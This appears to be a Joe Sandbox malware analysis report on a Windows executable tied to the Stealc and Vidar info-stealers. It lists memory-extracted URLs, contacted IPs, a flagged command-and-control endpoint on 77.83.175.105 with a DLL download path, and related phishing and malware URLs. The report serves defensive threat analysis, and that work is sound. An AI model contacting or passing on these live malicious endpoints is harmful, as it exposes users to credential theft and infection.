http://anglebug.com/5371	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Jq	chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000001.00000003.1746828049.00002838001D0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7556	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-preprod.corp.google.com/	chrome.exe, 00000001.00000003.1747542244.0000283800494000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6692	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/258207403	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3623	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3625	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3624	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/J	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5007	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/drive/installwebapp?usp=chrome_default	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://77.83.175.105/18a9a962225b1ffb.php:	X9d3758tok.exe, 00000000.00000002.2268751458.00000000287E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3862	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.rs/getrandom#nodejs-es-module-support	X9d3758tok.exe, X9d3758tok.exe, 00000000.00000002.2252245116.00000000023E0000.00000040.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2269945203.000000006D031000.00000002.00000001.01000000.00000007.sdmp, X9d3758tok.exe, 00000000.00000003.1665203785.0000000002540000.00000004.00001000.00020000.00000000.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000001.00000003.1752691736.0000283800C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759492378.0000283800C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754913145.0000283800C78000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754842957.0000283800EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759164047.0000283800394000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1752753455.0000283800C78000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://77.83.175.105/4db719b1f2f948b0/msvcp140.dll=	X9d3758tok.exe, 00000000.00000002.2251891155.0000000000893000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/issues/166475273	chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29	chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/:	chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4384	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://77.83.175.105/18a9a962225b1ffb.php#	X9d3758tok.exe, 00000000.00000002.2268751458.00000000287E0000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/?tab=rm&ogbl	chrome.exe, 00000001.00000003.1774695159.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775802111.000028380140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775633712.0000283801318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775593736.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/Tq	chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://apis.google.com	chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000001.00000003.1758078755.0000283800A10000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758224372.0000283800F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757679198.000028380100C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758666889.0000283800320000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758130592.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758033488.0000283800C60000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758929445.0000283801078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757266613.0000283800F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757243158.0000283801040000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757095333.0000283800FBC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1757210975.0000283800FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000001.00000003.1774695159.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775802111.000028380140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775633712.0000283801318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775593736.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/eq	chrome.exe, 00000001.00000003.1780750543.0000283801598000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000001.00000003.1779563134.000043D80080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1744198041.000043D800390000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7604	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/hj	chrome.exe, 00000001.00000003.1744644898.000043D800684000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/7761	chrome.exe, 00000001.00000003.1751946875.00002838003D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753309898.0000283800AF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1753189576.00002838003D8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/app/so?eom=1	chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
142.250.185.78	play.google.com	United States	15169	GOOGLEUS	false
87.106.236.48	campuspersever.es	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	false
77.83.175.105	unknown	Ukraine	204601	ON-LINE-DATAServerlocation-NetherlandsDrontenNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.186.100	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1544227
Start date and time:	2024-10-29 04:16:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	48
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	X9d3758tok.exe renamed because original name is a hash value
Original Sample Name:	5b198b1cb3177bc50c15f147238d6c49.exe
Detection:	MAL
Classification:	mal100.troj.adwa.spyw.evad.winEXE@79/58@7/7
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Successful, ratio: 100% Number of executed functions: 87 Number of non-executed functions: 215
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.131, 142.250.185.142, 142.251.5.84, 34.104.35.123, 142.250.186.35, 184.28.90.27, 142.250.185.170, 142.250.186.138, 172.217.18.10, 142.250.185.234, 142.250.181.234, 142.250.184.202, 172.217.16.202, 216.58.206.42, 142.250.186.74, 172.217.23.106, 142.250.185.202, 142.250.185.74, 142.250.186.106, 142.250.185.106, 142.250.185.138, 142.250.186.42, 199.232.214.172, 192.229.221.95, 13.89.179.12
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, onedsblobprdcus17.centralus.cloudapp.azure.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, login.live.com, e16604.g.akamaiedge.net, blobcollector.events.data.trafficmanager.net, umwatson.events.data.microsoft.com, clients.l.google.com, www.gstatic.com, prod.fs.microsoft.com.akadns.net
Execution Graph export aborted for target BAAEHDBFID.exe, PID 1028 because there are no executed function
Execution Graph export aborted for target updater.exe, PID 7008 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
23:17:03	API Interceptor	3x Sleep call for process: svchost.exe modified
23:17:36	API Interceptor	1x Sleep call for process: BAAEHDBFID.exe modified
23:17:38	API Interceptor	22x Sleep call for process: powershell.exe modified
23:17:53	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
87.106.236.48	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
239.255.255.250	Salary_Structure_Benefits_for_Sebastien.daveauIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse
	https://58.208.93.232	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	https://hianime.to	Get hash	malicious	Unknown	Browse
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse
	https://on-combine-data.s3.us-west-2.amazonaws.com/dealer-data/Share+Point/NTAS_MS3000X_Installer_v2.8.25_October2024_NO_UPS.exe	Get hash	malicious	Unknown	Browse
	https://mail.kb4.io/XT0VNMzRJS3djRnBKZnFha1JaVThBUHFHRmpuS2FmSUY4aUszUlY3Sm0rWmpyUWR3ekQzL2xjN0xhVVJlTzhvZzgyMGtTUkxmSWtGdWlUY2I0NStmRWlLS2xHcGZsNTZUN3VyanNiKzVaNjhaeTRSTXFXVGdwc0J4amUxRFFPMU5DTTd5ejl5aXZxUlBwL1NDaDBRSk9DWVJkc09KRUZodTl0SFh5bFVVWEdYZTMzcm5ZTCtCSGpmZWRIMEprQjhiZExvOE9wSGkwUS9KTjQwSVdjQT0tLVBNYWNLTzcyT0xCdDkzb3ItLURlVmNvdGI3d3BGenM5UWJzc1EreXc9PQ==?cid=2260646675	Get hash	malicious	Unknown	Browse
77.83.175.105	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105/18a9a962225b1ffb.php
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105/18a9a962225b1ffb.php
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105/18a9a962225b1ffb.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
plus.l.google.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.181.238
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.110
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	216.58.212.142
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	172.217.18.110
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.78
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.110
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.174
	http://shoutout.wix.com	Get hash	malicious	Unknown	Browse	142.250.186.110
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.184.238
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	142.250.186.174
campuspersever.es	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ON-LINE-DATAServerlocation-NetherlandsDrontenNL	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	77.83.175.105
	s4aALx5IMD.exe	Get hash	malicious	Stealc	Browse	92.119.114.74
	CIVHRLlEUk.exe	Get hash	malicious	Stealc	Browse	92.119.114.74
	aDHzARrzIa.exe	Get hash	malicious	Stealc	Browse	92.119.114.74
	AkWvbt4CFh.exe	Get hash	malicious	Stealc	Browse	92.119.114.74
	vkkTIT6kcx.exe	Get hash	malicious	Stealc, Vidar	Browse	92.119.114.74
	2YHpql8v3B.exe	Get hash	malicious	Stealc	Browse	45.88.76.205
	oUtZPMaj4J.exe	Get hash	malicious	Stealc	Browse	45.88.76.205
ONEANDONE-ASBrauerstrasse48DE	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	217.76.156.252
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	nabmips.elf	Get hash	malicious	Unknown	Browse	82.165.249.194
	nabarm.elf	Get hash	malicious	Unknown	Browse	212.227.83.209
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	82.223.159.57
	https://docs.google.com/drawings/d/1gvM7ysnJ7zDcSUShXnPoiA6pG4cjDDn9uHRbivsGidA/preview?pli=1jjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZseeIf3YM4Csy3PIV85PbXFYIuATiQmdLLycE9d8EeWpqjjQQnZs	Get hash	malicious	Mamba2FA	Browse	217.160.232.81
	COMPROBANTE DE PAGO.exe	Get hash	malicious	AgentTesla, GuLoader	Browse	213.165.67.118

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	Salary_Structure_Benefits_for_Sebastien.daveauIyNURVhUTlVNUkFORE9NMTkjIw==.html	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	https://58.208.93.232	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	https://api.inspectrealestate.com.au/email/track?eta=1&t=B32-5UARLGTXC6GHXC7PJPHCGUP7HMF6FJEQ76L6MOL7WYB6P6EYQNBONANBBGKOXFRO3HPDET5TXGOZXG5FJNMJJC437YUYUWDF5VEVIWPK6LECEZJV3OMRCXF6VI76ZOGYOFIOERVACTHYB4KHK22IKKEWLYPTUBLONXLA7QVY2SW2TZMW4ULVG2UAKDR3DM3RL4TTJAF3F3ROXQ3ZLRVYS7Z2T4TIQETEEUV73V42AQLF65YKSUX6JMYEW3ZHXPREAMXXBOQV32GKOYOISFZKX4GPTPR2IMSMCULLR2V4QUSMU3MWF7NQ%3D%3D%3D%3D	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	https://hianime.to	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	(No subject) (98).eml	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	https://on-combine-data.s3.us-west-2.amazonaws.com/dealer-data/Share+Point/NTAS_MS3000X_Installer_v2.8.25_October2024_NO_UPS.exe	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.32.133 13.107.246.45
	https://mail.kb4.io/XT0VNMzRJS3djRnBKZnFha1JaVThBUHFHRmpuS2FmSUY4aUszUlY3Sm0rWmpyUWR3ekQzL2xjN0xhVVJlTzhvZzgyMGtTUkxmSWtGdWlUY2I0NStmRWlLS2xHcGZsNTZUN3VyanNiKzVaNjhaeTRSTXFXVGdwc0J4amUxRFFPMU5DTTd5ejl5aXZxUlBwL1NDaDBRSk9DWVJkc09KRUZodTl0SFh5bFVVWEdYZTMzcm5ZTCtCSGpmZWRIMEprQjhiZExvOE9wSGkwUS9KTjQwSVdjQT0tLVBNYWNLTzcyT0xCdDkzb3ItLURlVmNvdGI3d3BGenM5UWJzc1EreXc9PQ==?cid=2260646675	Get hash	malicious	Unknown	Browse	4.175.87.197 40.126.32.133 13.107.246.45
37f463bf4616ecd445d4a1937da06e19	KMfWqiiMu0.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	hwWxZRwpeL.exe	Get hash	malicious	Stealc, Vidar	Browse	87.106.236.48
	https://inspyrehomedesign.com/Ray-verify.html	Get hash	malicious	NetSupport RAT	Browse	87.106.236.48
	setup.exe	Get hash	malicious	Unknown	Browse	87.106.236.48
	setup.exe	Get hash	malicious	Unknown	Browse	87.106.236.48
